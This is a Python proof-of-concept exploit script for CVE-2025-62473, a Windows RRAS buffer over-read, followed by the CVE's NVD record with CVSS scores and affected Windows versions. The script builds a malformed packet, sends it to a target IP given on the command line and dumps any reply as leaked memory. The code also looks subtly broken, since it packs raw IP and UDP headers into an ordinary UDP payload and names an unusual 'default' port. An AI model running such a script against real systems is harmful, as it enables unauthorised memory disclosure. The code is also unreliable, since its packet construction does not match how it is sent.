CVE-2025-62473

# CVE-2025-62473 Windows RRAS Buffer Over-read PoC # This PoC demonstrates sending malformed packets to trigger the buffer over-read # Note: For authorized security testing only import socket import struct import sys def create_malformed_rras_packet(): """ Create a malformed RRAS packet to trigger buffer over-read """ # IP header ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version and IHL 0x00, # TOS 0x0040, # Total length 0x0001, # ID 0x0000, # Flags and fragment offset 0x40, # TTL 0x11, # Protocol (UDP) 0x0000, # Checksum socket.inet_aton('192.168.1.100'), # Source IP socket.inet_aton('192.168.1.1') # Dest IP (RRAS server) ) # UDP header targeting RRAS port udp_header = struct.pack('!HHHH', 0xC000, # Source port (random high port) 0x0472, # Dest port (RRAS default port) 0x0008, # Length 0x0000 # Checksum ) # Malformed RRAS payload with oversized field payload = b'\x00' * 1024 # Oversized payload to trigger over-read payload += b'\xFF\xFF\xFF\xFF' # Trigger sequence return ip_header + udp_header + payload def exploit_rras(target_ip, target_port=1138): """ Send malformed packet to RRAS service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_rras_packet() print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) # Receive response (may contain leaked memory) sock.settimeout(5) try: response, addr = sock.recvfrom(4096) print(f"[!] Received response ({len(response)} bytes):") print(f"[+] Response hex: {response.hex()}") except socket.timeout: print("[-] No response received (may need packet refinement)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62473.py <target_ip>") sys.exit(1) exploit_rras(sys.argv[1])

{"cve": {"id": "CVE-2025-62473", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:59.590", "lastModified": "2025-12-12T20:04:25.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer over-read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "B1A4A63C-AA10-4A4B-8FD6-0519D1F7DFE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "BCB3A273-FB6E-43DC-A247-363179C2400C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "992FE0C2-27E6-4D04-8200-7831DE13C58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62473", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}